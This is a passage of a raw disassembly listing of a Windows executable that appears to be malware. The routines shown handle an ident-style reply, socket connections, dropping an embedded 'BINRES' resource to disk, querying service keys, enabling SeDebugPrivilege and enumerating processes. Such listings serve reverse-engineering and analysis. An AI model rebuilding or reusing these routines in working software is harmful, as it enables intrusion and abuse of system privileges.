loc_41F73B:				; CODE XREF: sub_41F030+E8j
		nop
		call	near ptr 2850369h


loc_41F741:				; CODE XREF: sub_41F030+140j
		mov	al, byte_4E8E44
		test	al, al
		jnz	loc_41F102
		pop	ebp
		pop	ebx


loc_41F750:				; CODE XREF: sub_41F030+BEj
		mov	eax, [edi+15h]
		push	eax
		call	near ptr 71AB9639h
		nop


loc_41F75A:				; CODE XREF: sub_41F030+82j
					; sub_41F030+B2j
		mov	ecx, [esp+0F0h+arg_18C8]
		pop	edi
		xor	eax, eax
		pop	esi
		mov	large fs:0, ecx
		add	esp, 19C0h
		retn
sub_41F030	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41F960	proc near		; CODE XREF: sub_401230j

var_90		= dword	ptr -90h
var_8C		= byte ptr -8Ch
var_7C		= byte ptr -7Ch
var_78		= byte ptr -78h
var_60		= byte ptr -60h
var_48		= byte ptr -48h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41F960
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 84h
		push	ebx
		push	ebp
		push	esi
		push	71h
		call	sub_40198D
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[esp+9Ch+var_90], eax
		jnz	short loc_41F99D
		mov	byte_4E8E99, 0
		jmp	loc_41FB01
; ---------------------------------------------------------------------------


loc_41F99D:				; CODE XREF: sub_41F960+2Fj
		mov	cl, byte_44927B
		xor	ebx, ebx
		cmp	cl, bl
		mov	byte_4E8E99, 1
		jnz	loc_41FAF4
		lea	ecx, [esp+9Ch+var_8C]
		push	ecx
		push	eax
		call	sub_402009
		mov	ebp, eax
		add	esp, 8
		cmp	ebp, 0FFFFFFFFh
		jz	loc_41FAE7
		push	edi
		lea	ecx, [esp+0A0h+var_7C]
		call	sub_40142E
		mov	[esp+0A0h+var_4], ebx
		call	sub_401F0A
		mov	esi, dword_511AC8
		call	esi	; rand
		cdq
		mov	ecx, 3
		push	offset byte_448F30
		idiv	ecx
		lea	ecx, [esp+0A0h+var_78]
		mov	edi, edx
		add	edi, 0Ah
		call	sub_4015E1
		cmp	edi, ebx
		jle	short loc_41FA66


loc_41FA0A:				; CODE XREF: sub_41F960+104j
		lea	ecx, [esp+9Ch+var_60]
		call	sub_40142E
		lea	edx, [esp+9Ch+var_78]
		lea	ecx, [esp+9Ch+var_60]
		push	edx
		mov	byte ptr [esp+0A0h], 1
		call	sub_401FDC
		call	esi	; rand
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+9Ch+var_60]
		add	edx, 61h
		push	edx
		call	sub_4017EE
		push	eax
		lea	edx, [esp+0A4h+var_78]
		push	offset dword_444E54
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+9Ch+var_60]
		mov	[esp+9Ch], bl
		call	sub_401226
		dec	edi
		jnz	short loc_41FA0A


loc_41FA66:				; CODE XREF: sub_41F960+A8j
		push	0Ah
		lea	ecx, [esp+0A0h+var_78]
		call	sub_401479
		mov	[eax], bl
		mov	ecx, 10h
		xor	eax, eax
		lea	edi, [esp+9Ch+var_48]
		rep stosd
		lea	ecx, [esp+9Ch+var_78]
		call	sub_4017EE
		push	eax
		push	71h
		call	esi	; rand
		cdq
		mov	ecx, 1770h
		idiv	ecx
		inc	edx
		push	edx
		lea	edx, [esp+0A8h+var_48]
		push	offset aDDUseridUnixS ;	"%d, %d	: USERID : UNIX	: %s\r\n"
		push	edx
		nop
		call	sub_5F76F7
		add	esp, 14h
		lea	eax, [esp+9Ch+var_48]
		push	ebx
		push	40h
		push	eax
		push	ebp
		nop
		call	near ptr 71AB428Ah
		mov	esi, dword_511C9C
		push	ebp
		call	esi	; closesocket
		lea	ecx, [esp+0A0h+var_7C]
		mov	[esp+0A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0A0h+var_90]
		push	ecx
		call	esi	; closesocket
		mov	byte_4E8E99, bl
		pop	edi
		jmp	short loc_41FAFE
; ---------------------------------------------------------------------------


loc_41FAE7:				; CODE XREF: sub_41F960+67j
		push	7D0h
		nop
		call	near ptr 2850369h
		jmp	short loc_41FB01
; ---------------------------------------------------------------------------


loc_41FAF4:				; CODE XREF: sub_41F960+4Ej
		mov	ebp, [esp+9Ch+var_90]
		mov	esi, dword_511C9C


loc_41FAFE:				; CODE XREF: sub_41F960+185j
		push	ebp
		call	esi	; closesocket


loc_41FB01:				; CODE XREF: sub_41F960+38j
					; sub_41F960+192j
		mov	ecx, [esp+9Ch+var_C]
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 90h
		retn
sub_41F960	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FB90	proc near		; CODE XREF: sub_401AD2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		dec	eax
		jz	short loc_41FBCB
		dec	eax
		jz	short loc_41FBB4
		dec	eax
		jnz	short loc_41FBF1
		mov	ecx, dword_50DB28
		mov	dword_50DB0C, 4
		call	sub_401DE3
		jmp	short loc_41FBF1
; ---------------------------------------------------------------------------


loc_41FBB4:				; CODE XREF: sub_41FB90+8j
		mov	ecx, dword_50DB28
		mov	dword_50DB0C, 7
		call	sub_401028
		jmp	short loc_41FBF1
; ---------------------------------------------------------------------------


loc_41FBCB:				; CODE XREF: sub_41FB90+5j
		mov	ecx, dword_50DB28
		xor	eax, eax
		mov	dword_50DB14, eax
		mov	dword_50DB0C, 1
		mov	dword_50DB1C, eax
		mov	dword_50DB20, eax
		call	sub_40174E


loc_41FBF1:				; CODE XREF: sub_41FB90+Bj
					; sub_41FB90+22j ...
		mov	eax, dword_50DB2C
		push	offset dword_50DB08
		push	eax
		mov	dword_50DB0C, 4
		nop
		call	near ptr 292062Fh
		retn	4
sub_41FB90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FC30:				; CODE XREF: ___:loc_401965j
		push	esi
		xor	esi, esi
		push	offset sub_401AD2
		mov	ecx, offset byte_44990F
		mov	dword_50DB08, 20h
		mov	dword_50DB0C, 2
		mov	dword_50DB10, 3
		mov	dword_50DB14, esi
		mov	dword_50DB18, esi
		mov	dword_50DB1C, esi
		mov	dword_50DB20, esi
		call	sub_4017EE
		push	eax
		call	near ptr 29202B8h
		nop
		cmp	eax, esi
		mov	dword_50DB2C, eax
		jz	short loc_41FCAA
		push	offset dword_50DB08
		push	eax
		mov	dword_50DB0C, 4
		mov	dword_50DB1C, esi
		mov	dword_50DB20, esi
		nop
		call	near ptr 292062Fh


loc_41FCAA:				; CODE XREF: ___:0041FC86j
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FCD0	proc near		; CODE XREF: sub_401069j
		push	esi
		mov	esi, ecx
		call	sub_401E88
		mov	dword ptr [esi], offset	off_43F068
		mov	eax, esi
		pop	esi
		retn
sub_41FCD0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FD00	proc near		; CODE XREF: sub_401CF3j

var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h

		sub	esp, 110h
		mov	dword_50DB28, ecx
		push	100h
		mov	ecx, offset byte_44990F
		call	sub_4017EE
		push	eax
		lea	eax, [esp+118h+var_100]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		lea	edx, [esp+110h+var_110]
		lea	ecx, [esp+110h+var_100]
		xor	eax, eax
		push	edx
		mov	[esp+114h+var_110], ecx
		mov	[esp+114h+var_10C], offset loc_401965
		mov	[esp+114h+var_108], eax
		mov	[esp+114h+var_104], eax
		nop
		call	near ptr 2920000h
		xor	eax, eax
		add	esp, 110h
		retn
sub_41FD00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FD80:				; CODE XREF: ___:00401C44j
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		push	offset aWb	; "wb"
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41FDA2
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FDA2:				; CODE XREF: ___:0041FD9Aj
		mov	ecx, [esp+18h]
		push	ecx
		nop
		call	near ptr 28A1CCEh
		mov	esi, eax
		test	esi, esi
		jnz	short loc_41FDB9
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FDB9:				; CODE XREF: ___:0041FDB1j
		mov	edx, [esp+14h]
		push	offset aBinres	; "BINRES"
		and	edx, 0FFFFh
		push	edx
		push	esi
		nop
		call	near ptr 27A02ABh
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41FDDC
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FDDC:				; CODE XREF: ___:0041FDD4j
		push	ebp
		push	edi
		push	esi
		nop
		call	near ptr 27A0A61h
		push	edi
		push	esi
		mov	ebp, eax
		nop
		call	near ptr 27B0000h
		push	ebp
		mov	esi, eax
		call	near ptr 27B03C5h
		nop
		push	ebx
		push	esi
		push	1
		push	eax
		nop
		call	near ptr 77C4173Bh
		push	ebx
		call	near ptr 77C40AB1h
		nop
		add	esp, 14h
		mov	al, 1
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FE50	proc near		; CODE XREF: sub_40188Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FE78
		push	esi
		call	near ptr 71AB4FD4h
		nop
		test	eax, eax
		jnz	short loc_41FE71
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41FE71:				; CODE XREF: sub_41FE50+1Aj
		mov	eax, [eax+0Ch]
		mov	ecx, [eax]
		mov	eax, [ecx]


loc_41FE78:				; CODE XREF: sub_41FE50+Fj
		pop	esi
		retn
sub_41FE50	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FE90	proc near		; CODE XREF: sub_401AA0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FEAE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FEAE:				; CODE XREF: sub_41FE90+15j
		mov	ecx, [esp+14h+arg_4]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		call	near ptr 71AB2B66h
		nop
		mov	edx, [esp+14h+arg_0]
		mov	word ptr [esp+14h+var_10+2], ax
		push	edx
		call	sub_40188E
		add	esp, 4
		mov	[esp+14h+var_C], eax
		lea	eax, [esp+14h+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FF0A
		push	esi
		nop
		call	near ptr 71AB9639h
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FF0A:				; CODE XREF: sub_41FE90+69j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FE90	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FF50	proc near		; CODE XREF: sub_40198Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FF6E
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FF6E:				; CODE XREF: sub_41FF50+15j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	esi
		mov	word ptr [esp+20h+var_10+2], ax
		mov	[esp+20h+var_C], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41FFC0
		push	esi
		nop
		call	near ptr 71AB9639h
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FFC0:				; CODE XREF: sub_41FF50+5Fj
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FF50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FFF0	proc near		; CODE XREF: sub_4012DFj

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, [esp+14h+arg_0]
		push	0Ah
		push	esi
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_420024
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_10]
		push	eax
		push	ecx
		push	esi
		mov	[esp+20h+arg_0], 10h
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_420027


loc_420024:				; CODE XREF: sub_41FFF0+14j
		or	eax, 0FFFFFFFFh


loc_420027:				; CODE XREF: sub_41FFF0+32j
		pop	esi
		add	esp, 10h
		retn
sub_41FFF0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420040	proc near		; CODE XREF: sub_402009j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_420076
		mov	esi, [esp+8+arg_0]
		push	0Ah
		push	esi
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_420076
		lea	eax, [esp+8+arg_4]
		mov	[esp+8+arg_4], 10h
		push	eax
		push	edi
		push	esi
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_420079


loc_420076:				; CODE XREF: sub_420040+8j
					; sub_420040+1Aj
		or	eax, 0FFFFFFFFh


loc_420079:				; CODE XREF: sub_420040+34j
		pop	edi
		pop	esi
		retn
sub_420040	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_420090	proc near		; CODE XREF: sub_401604j

var_1128	= dword	ptr -1128h
var_1124	= byte ptr -1124h
var_1112	= byte ptr -1112h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_1108	= byte ptr -1108h
var_1104	= byte ptr -1104h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_104		= byte ptr  108h
arg_110		= byte ptr  114h

		mov	eax, 1114h
		call	sub_437B30
		lea	eax, [esp+arg_4]
		lea	ecx, [esp+arg_110]
		push	eax
		push	1000h
		push	ecx
		mov	byte ptr [esp+0Fh], 0
		call	sub_4382BC
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4200C3
		xor	al, al
		add	esp, 1114h
		retn
; ---------------------------------------------------------------------------


loc_4200C3:				; CODE XREF: sub_420090+28j
		mov	eax, [esp+0Ch+var_4]
		shr	eax, 2
		jz	loc_42018D
		push	ebx
		mov	ebx, dword_5117E0
		push	ebp
		push	esi
		push	edi
		lea	ebp, [esp+1Ch+arg_104]
		mov	[esp+1Ch+var_8], eax


loc_4200E5:				; CODE XREF: sub_420090+F3j
		mov	edi, offset aUnknown ; "unknown"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+20h]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+0]
		push	ecx
		push	0
		push	411h
		call	ebx
		mov	esi, eax
		test	esi, esi
		jz	short loc_420177
		lea	edx, [esp+18h]
		lea	eax, [esp+1Ch]
		push	edx
		push	4
		push	eax
		push	esi
		call	sub_4382B6
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_420170
		mov	edx, [esp+1144h+var_1128]
		lea	ecx, [esp+1144h+var_1124]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	sub_4382B0
; ---------------------------------------------------------------------------
		db 8Bh,	84h, 24h
		dd 1128h, 20244C8Dh, 0E8905150h, 778260F2h, 8508C483h
		dd 500D75C0h, 71E89056h, 0C6023800h, 1132444h
; ---------------------------------------------------------------------------


loc_420170:				; CODE XREF: sub_420090+A2j
		push	esi
		nop
		call	near ptr 2850BF4h


loc_420177:				; CODE XREF: sub_420090+8Cj
		mov	eax, dword ptr [esp+1138h+var_1124]
		add	ebp, 4
		dec	eax
		mov	dword ptr [esp+1138h+var_1124],	eax
		jnz	loc_4200E5
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx


loc_42018D:				; CODE XREF: sub_420090+3Aj
		mov	al, byte ptr [esp+1128h+var_1128+3]
		add	esp, 1114h
		retn
sub_420090	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4201F0	proc near		; CODE XREF: sub_401A0Aj

var_490		= byte ptr -490h
var_488		= byte ptr -488h
var_482		= byte ptr -482h
var_480		= byte ptr -480h
var_478		= byte ptr -478h
var_468		= dword	ptr -468h
var_464		= byte ptr -464h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_43C		= byte ptr -43Ch
var_438		= byte ptr -438h
var_424		= byte ptr -424h
var_420		= byte ptr -420h
var_38		= byte ptr -38h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4201F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 44Ch
		push	ebx
		push	esi
		mov	esi, [esp+460h+arg_0]
		lea	ecx, [esp+460h+var_424]
		push	esi
		call	sub_401870
		push	eax
		mov	[esp+464h+var_4], 0
		call	sub_401EAB
		add	esp, 4
		lea	ecx, [esp+460h+var_424]
		mov	bl, al
		mov	[esp+460h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_42036A
		lea	ecx, [esp+460h+var_43C]
		call	sub_40142E
		push	esi
		lea	eax, [esp+464h+var_43C]
		mov	ebx, 1
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		mov	[esp+46Ch+var_4], ebx
		mov	[esp+46Ch+var_454], 0
		mov	[esp+46Ch+var_450], 80h
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+460h+var_454]
		push	ecx
		push	20019h
		push	0
		lea	ecx, [esp+46Ch+var_43C]
		call	sub_40168B
		push	eax
		push	80000002h
		nop
		call	near ptr 296029Eh
		mov	ecx, [esp+474h+var_468]
		lea	edx, [esp+474h+var_464]
		lea	eax, [esp+474h+var_420]
		push	edx
		push	eax
		push	0
		push	0
		push	offset aImagepath ; "ImagePath"
		push	ecx
		call	near ptr 2910000h
		nop
		lea	edx, [esp+0Bh]
		lea	eax, [esp+48Ch+var_438]
		push	edx
		push	eax
		lea	ecx, [esp+494h+var_478]
		nop
		call	near ptr 76081F67h
		mov	ecx, dword_5119E0
		mov	[esp+494h+var_38], 2
		mov	edx, [ecx]
		lea	ecx, [esp+494h+var_480]
		push	edx
		push	offset asc_444AD4 ; "\\"
		nop
		call	near ptr 76085AE4h
		inc	eax
		lea	ecx, [esp+49Ch+var_488]
		push	eax
		push	0
		call	near ptr 760976AFh
		nop
		lea	ecx, [esp+4A4h+var_490]
		call	near ptr 7608B84Ch
		nop
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 24244C8Dh, 0FE1366E8h, 2BE850FFh, 90023D0Ah,	14244C8Dh
		dd 5C249C88h, 0E8000004h, 75C6F149h, 244C8D90h,	2484C724h
		dd 45Ch, 0FFFFFFFFh, 0FE0ED5E8h, 5EC38AFFh, 248C8B5Bh
		dd 44Ch, 0D8964h, 81000000h, 458C4h
		db 0, 0C3h
; ---------------------------------------------------------------------------


loc_42036A:				; CODE XREF: sub_4201F0+5Aj
		mov	ecx, [esp+460h+var_C]
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 458h
		retn
sub_4201F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420400	proc near		; CODE XREF: sub_401EABj

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	ebx
		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 2930926h
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_420425
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420425:				; CODE XREF: sub_420400+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	ebx
		nop
		call	near ptr 28D03D8h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_420450
		push	ebx
		call	near ptr 2940000h
		nop
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420450:				; CODE XREF: sub_420400+3Fj
		push	ebp
		push	edi
		mov	edi, dword_511748
		push	esi
		call	edi
		push	esi
		call	edi
		mov	ebp, dword_511744
		lea	eax, [esp+2Ch+var_1C]
		push	eax
		push	1
		push	esi
		call	ebp
		push	esi
		call	edi
		lea	ecx, [esp+2Ch+var_1C]
		push	ecx
		push	1
		push	esi
		call	ebp
		push	esi
		mov	esi, dword_511754
		call	esi
		push	ebx
		call	esi
		pop	edi
		pop	ebp
		pop	esi
		mov	al, 1
		pop	ebx
		add	esp, 1Ch
		retn
sub_420400	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4204D0	proc near		; CODE XREF: sub_4018B6j

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		lea	eax, [esp+34h+var_28]
		push	edi
		xor	esi, esi
		push	eax
		push	esi
		push	28h
		xor	bl, bl
		mov	[esp+44h+var_24], 10h
		nop
		call	near ptr 27A0187h
		push	eax
		call	near ptr 28F14ACh
		nop
		mov	ebp, dword_511720
		mov	edi, dword_5118E0
		test	eax, eax
		jnz	short loc_420520
		lea	ecx, [esp+38h+var_28]
		push	ecx
		push	28h
		nop
		call	near ptr 27A01BFh
		push	eax
		nop
		call	near ptr 28F1AC3h
		test	eax, eax
		jz	short loc_42057F


loc_420520:				; CODE XREF: sub_4204D0+36j
		cmp	[esp+38h+var_28], esi
		jz	short loc_420583
		lea	edx, [esp+38h+var_1C]
		mov	[esp+38h+var_20], 1
		push	edx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	esi
		mov	[esp+44h+var_14], 2
		call	near ptr 2900000h
		nop
		lea	eax, [esp+38h+var_24]
		lea	ecx, [esp+38h+var_10]
		push	eax
		mov	eax, [esp+3Ch+var_28]
		push	ecx
		lea	edx, [esp+40h+var_20]
		push	10h
		push	edx
		push	esi
		push	eax
		call	ebp
		test	eax, eax
		jz	short loc_420578
		nop
		call	near ptr 27D0990h
		cmp	eax, 514h
		jnz	short loc_420583
		mov	ecx, [esp+38h+var_28]
		push	ecx
		jmp	short loc_42057D
; ---------------------------------------------------------------------------


loc_420578:				; CODE XREF: sub_4204D0+92j
		mov	edx, [esp+38h+var_28]
		push	edx


loc_42057D:				; CODE XREF: sub_4204D0+A6j
		call	edi


loc_42057F:				; CODE XREF: sub_4204D0+4Ej
		mov	[esp+38h+var_28], esi


loc_420583:				; CODE XREF: sub_4204D0+54j
					; sub_4204D0+9Fj
		mov	eax, [esp+38h+arg_0]
		push	eax
		push	esi
		push	411h
		nop
		call	near ptr 2710000h
		mov	esi, eax
		test	esi, esi
		jz	short loc_4205A8
		push	0
		push	esi
		nop
		call	near ptr 27A01DCh
		push	esi
		mov	bl, 1
		call	edi


loc_4205A8:				; CODE XREF: sub_4204D0+C8j
		mov	eax, [esp+38h+var_28]
		test	eax, eax
		jz	short loc_4205C7
		push	0
		push	0
		lea	ecx, [esp+40h+var_10]
		push	10h
		push	ecx
		push	0
		push	eax
		call	ebp
		mov	edx, [esp+38h+var_28]
		push	edx
		call	edi


loc_4205C7:				; CODE XREF: sub_4204D0+DEj
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebp
		pop	ebx
		add	esp, 28h
		retn
sub_4204D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420630	proc near		; CODE XREF: sub_4011D6j

var_68		= dword	ptr -68h
var_54		= byte ptr -54h
var_4C		= dword	ptr -4Ch
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_F4		= byte ptr  0F8h
arg_100		= byte ptr  104h
arg_10C4	= dword	ptr  10C8h
arg_10D0	= dword	ptr  10D4h
arg_1104	= dword	ptr  1108h
arg_1118	= dword	ptr  111Ch

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420630
		push	eax
		mov	eax, 1130h
		mov	large fs:0, esp
		call	sub_437B30
		push	esi
		push	offset aPsapi_dll ; "PSAPI.DLL"
		nop
		call	near ptr 28A1CCEh
		test	eax, eax
		mov	dword_50DB30, eax
		jnz	short loc_42067C
		push	offset aPsapi_dll ; "PSAPI.DLL"
		nop
		call	near ptr 27F088Ah
		test	eax, eax
		mov	dword_50DB30, eax
		jz	loc_4207FA


loc_42067C:				; CODE XREF: sub_420630+32j
		mov	esi, dword_511918
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	eax
		call	esi
		mov	dword_50DB34, eax
		mov	eax, dword_50DB30
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	eax
		call	esi
		mov	ecx, dword_50DB30
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	ecx
		mov	dword_50DB38, eax
		call	esi
		mov	ecx, dword_50DB34
		mov	dword_50DB3C, eax
		test	ecx, ecx
		jz	loc_4207FA
		mov	edx, dword_50DB38
		test	edx, edx
		jz	loc_4207FA
		test	eax, eax
		jz	loc_4207FA
		lea	edx, [esp+30h+var_28]
		lea	eax, [esp+30h+arg_100]
		push	edx
		push	1000h
		push	eax
		call	ecx
		test	eax, eax
		jz	loc_4207FA
		mov	ecx, dword ptr aUnknown	; "unknown"
		mov	eax, dword ptr aUnknown+4
		mov	edx, [esp+3Ch+var_34]
		push	edi
		mov	[esp+40h+var_C], ecx
		mov	[esp+40h+var_8], eax
		mov	ecx, 3Fh
		mov	eax, 0
		lea	edi, [esp+40h+var_4]
		shr	edx, 2
		rep stosd
		jz	loc_4207E1
		push	ebx
		mov	ebx, [esp+44h+arg_1104]
		push	ebp
		mov	ebp, dword_5117E0
		lea	edi, [esp+48h+arg_F4]
		mov	[esp+48h+var_38], edx


loc_42073F:				; CODE XREF: sub_420630+1A9j
		mov	ecx, [edi]
		push	ecx
		push	0
		push	410h
		call	ebp
		mov	esi, eax
		test	esi, esi
		jz	short loc_4207CD
		lea	edx, [esp+54h+var_38]
		lea	eax, [esp+54h+var_3C]
		push	edx
		push	4
		push	eax
		push	esi
		call	dword_50DB38
		test	eax, eax
		jz	short loc_4207C6
		mov	edx, [esp+64h+var_4C]
		lea	ecx, [esp+64h+var_28]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	dword_50DB3C
		lea	ecx, [esp+74h+var_54]
		call	sub_401875
